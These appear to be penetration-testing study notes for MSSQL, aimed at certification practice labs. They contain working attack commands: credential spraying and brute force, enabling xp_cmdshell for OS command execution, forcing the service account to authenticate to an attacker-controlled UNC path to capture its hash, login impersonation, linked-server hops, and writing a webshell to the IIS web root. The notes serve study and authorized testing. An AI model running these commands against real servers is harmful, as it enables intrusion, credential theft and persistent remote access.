MSSQL
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
TL;DR
MSSQL (Microsoft SQL Server). TCP 1433, UDP 1434 for the SQL Browser (instance discovery).
A Windows database, so it authenticates with a Windows or domain account, or with a SQL login such as
sa. The query language is T-SQL.
First checks: an sa or Windows login, then command execution through xp_cmdshell or a hash capture
through a UNC path.
Commands
T-SQL, inside a client session. In sqlcmd and sqsh, end each batch with GO on its own line.
| Command | Does |
|---|---|
SELECT name FROM sys.databases; |
List databases. |
SELECT table_name FROM <db>.INFORMATION_SCHEMA.TABLES; |
List a database’s tables. |
SELECT system_user; |
Show the current login. |
SELECT IS_SRVROLEMEMBER('sysadmin'); |
1 if the current login is sysadmin. |
EXEC xp_cmdshell 'whoami'; |
Run an OS command (needs it enabled, and sysadmin). |
SELECT * FROM OPENROWSET(BULK N'C:/Windows/win.ini', SINGLE_CLOB) AS x; |
Read a local file (needs the bulk permission). |
EXEC xp_dirtree '\\<you>\x'; |
Make the service authenticate to you, for a hash capture. |
EXECUTE AS LOGIN = 'sa'; |
Impersonate another login. |
REVERT; |
Return to your own login. |
Impacket’s client adds shortcuts:
SQL> enable_xp_cmdshell # enable xp_cmdshellSQL> xp_cmdshell <cmd> # run an OS commandSQL> enum_impersonate # list logins you can impersonateSQL> exec_as_login <user> # impersonate another loginSQL> enum_links # list linked serversSQL> use_link <server> # send the next queries to a linked serverEnumeration
Workflow: sweep with nmap, find a working login with nxc, then work in impacket-mssqlclient.
nxc mssql: one command per run. Test and spray credentials, run one query or OS command, run modules.(Pwn3d!)marks a sysadmin login.impacket-mssqlclient: the interactive shell, for steps that build on each other (impersonate, then query). Handles Windows auth, pass-the-hash (-hashes), and TLS.sqsh: a fallback interactive client when Impacket fails.sqlcmd: the client on a Windows foothold.
Sweep.
# version, instance info, and an empty sa passwordsudo nmap -p1433 -sV --script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password -oA scans/mssql $TARGETms-sql-ntlm-info leaks the hostname and domain. ms-sql-empty-password tests sa with no password.
An instance can listen on a port other than 1433. A full port scan with -sV finds it.
Connect.
impacket-mssqlclient <user>@$TARGET -windows-auth # Windows or domain accountimpacket-mssqlclient sa:'<pass>'@$TARGET # SQL loginnxc mssql $TARGET -u sa -p '<pass>' --local-auth # SQL login, not a domain onesqsh -S $TARGET -U .\\<user> -P '<pass>' -h # local Windows accountA username with no domain or host prefix logs in as a SQL login. For a local Windows account, put
.\\ or <host>\\ before the name (the shell turns \\ into one backslash). -h drops the headers
and footers from sqsh output.
From a Windows foothold, use sqlcmd:
REM SQL loginsqlcmd -S <host> -U <user> -P <pass> -y 30 -Y 30REM current Windows usersqlcmd -S <host> -E-y 30 -Y 30 limits each column to 30 characters, for readable output. -E logs in as the current
Windows user.
Query and run commands.
nxc mssql $TARGET -u sa -p '<pass>' --local-auth -q 'SELECT name FROM sys.databases' # run a querynxc mssql $TARGET -u sa -p '<pass>' --local-auth -x 'whoami' # run an OS command through xp_cmdshellNetExec modules. -M runs a module, and -o passes its options. Add your login flags to each:
nxc mssql $TARGET -u <user> -p '<pass>' -M mssql_priv # find impersonation paths to sysadminnxc mssql $TARGET -u <user> -p '<pass>' -M mssql_priv -o ACTION=privesc # make your login sysadmin through themnxc mssql $TARGET -u <user> -p '<pass>' -M mssql_priv -o ACTION=rollback # remove the sysadmin role againnxc mssql $TARGET -u <user> -p '<pass>' -M enum_impersonate # list logins you can impersonatenxc mssql $TARGET -u <user> -p '<pass>' -M enum_links # list linked servers and their loginsnxc mssql $TARGET -u <user> -p '<pass>' -M link_enable_cmdshell -o LINKED_SERVER=<srv> # enable xp_cmdshell on a linked servernxc mssql $TARGET -u <user> -p '<pass>' -M link_xpcmd -o LINKED_SERVER=<srv> CMD=whoami # run an OS command on a linked servernxc mssql $TARGET -u <user> -p '<pass>' -M exec_on_link -o LINKED_SERVER=<srv> COMMAND='<sql>' # run a query on a linked servernxc mssql $TARGET -u <user> -p '<pass>' -M mssql_coerce -o LISTENER=<you> # make the service authenticate to younxc mssql $TARGET -u <user> -p '<pass>' -M mssql_dumper # search every database for sensitive columnsCommon misconfigurations
- Weak or default
sacredentials. xp_cmdshellenabled, or a sysadmin login that can enable it.- Reused Windows or domain credentials.
- No encryption, or a self-signed certificate.
- Excessive privileges (IMPERSONATE, or a linked server configured with sysadmin).
Attack playbook
MSSQL’s win is command execution and the service account’s hash.
- Log in. Try default credentials first, then a weak
sapassword, or Windows and domain credentials.creds(frompip install defaultcreds-cheat-sheet) prints known defaults, and SecLists has auser:passlist forhydra -C:Spray or brute when you have lists (see Spraying and Defaults):creds search mssql # known default loginshydra -C /usr/share/seclists/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt mssql://$TARGET # test user:pass pairsnxc mssql $TARGET -u users.txt -p '<Password>' --continue-on-success # spray domain accountsnxc mssql $TARGET -u sa -p passwords.txt --local-auth # brute the sa login - Run commands with
xp_cmdshell. As sysadmin, enable it withsp_configure, then run OS commands as the service account.In other clients, enable it in T-SQL:nxc mssql $TARGET -u sa -p '<pass>' --local-auth -x 'whoami' # run an OS command through xp_cmdshellSQL> enable_xp_cmdshell # enable it in the Impacket clientOther routes to OS commands: a custom extended stored procedure (a DLL added withEXEC sp_configure 'show advanced options', 1; RECONFIGURE; -- unlock the advanced optionsEXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- enable xp_cmdshellEXEC xp_cmdshell 'whoami'; -- run an OS commandsp_addextendedproc), CLR assemblies, SQL Server Agent jobs, external scripts in Python or R (sp_execute_external_script), and registry writes withxp_regwrite. - Capture the service hash.
xp_dirtree(orxp_subdirs,xp_fileexist) forces the service account to authenticate to your Responder orimpacket-smbserver. Crack the NetNTLM hash or relay it (SMB). This works without sysadmin. Start Responder on your VPN interface first:Responder also saves each hash undersudo responder -I tun0 # listen on tun0, print captured hasheshashcat -m 5600 hash.txt rockyou.txt # crack the NetNTLMv2 hash/usr/share/responder/logs/. Then trigger the connection:EXEC xp_dirtree '\\<you>\share'; -- make the service account authenticate to youEXEC xp_subdirs '\\<you>\share'; -- same, if xp_dirtree is blocked - Impersonate a sysadmin. Sysadmins can impersonate any login. Other logins need the IMPERSONATE
permission. List the logins you can impersonate, take one on, and check the role:
Run it inSELECT DISTINCT b.name FROM sys.server_permissions aINNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_idWHERE a.permission_name = 'IMPERSONATE'; -- logins you can impersonateUSE master; -- every login can use masterEXECUTE AS LOGIN = 'sa'; -- impersonate saSELECT IS_SRVROLEMEMBER('sysadmin'); -- 1 means sysadminREVERT; -- return to your own login
master: the impersonation fails in a database the target login cannot use. A login that is not sysadmin can still reach other databases or linked servers. - Hop to a linked server. A linked server lets this instance run queries on another instance with
stored credentials. If those credentials are sysadmin there, you run commands there.
InsideSELECT srvname, isremote FROM sysservers; -- isremote 0 is a linked serverEXECUTE('SELECT @@servername, system_user, IS_SRVROLEMEMBER(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]; -- query the linked server
EXECUTE('...'), double each single quote. Separate statements with;. - Read and write files.
OPENROWSETreads any file the service account can read, with the bulk permission (sysadmin and bulkadmin hold it). Writing needs Ole Automation, which a sysadmin enables. Write a webshell to the IIS web root:SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS x; -- read a local fileEXEC sp_configure 'show advanced options', 1; RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; -- enable Ole AutomationDECLARE @o INT, @f INT;EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT;EXEC sp_OAMethod @o, 'OpenTextFile', @f OUT, 'C:\inetpub\wwwroot\s.aspx', 8, 1; -- open to append, create if missingEXEC sp_OAMethod @f, 'WriteLine', NULL, '<webshell code>'; -- write the webshellEXEC sp_OADestroy @f; EXEC sp_OADestroy @o; - Search the databases and reuse credentials. Application tables hold credentials and hashes.
Skip the system defaults (
master,model,msdb,tempdb,resource). Database and service passwords often work on other hosts.
Practice boxes
| Box | Difficulty | MSSQL’s role |
|---|---|---|
| Archetype | Starting Point | Credentials from an open SMB share log into MSSQL, then xp_cmdshell gives a shell. |
| Querier | Medium | xp_dirtree captures the service account’s NetNTLM hash to crack, then xp_cmdshell gives a shell. |
On a Windows network MSSQL is a common foothold. The wins are
xp_cmdshellfor code execution and a UNC path to steal the service account’s hash.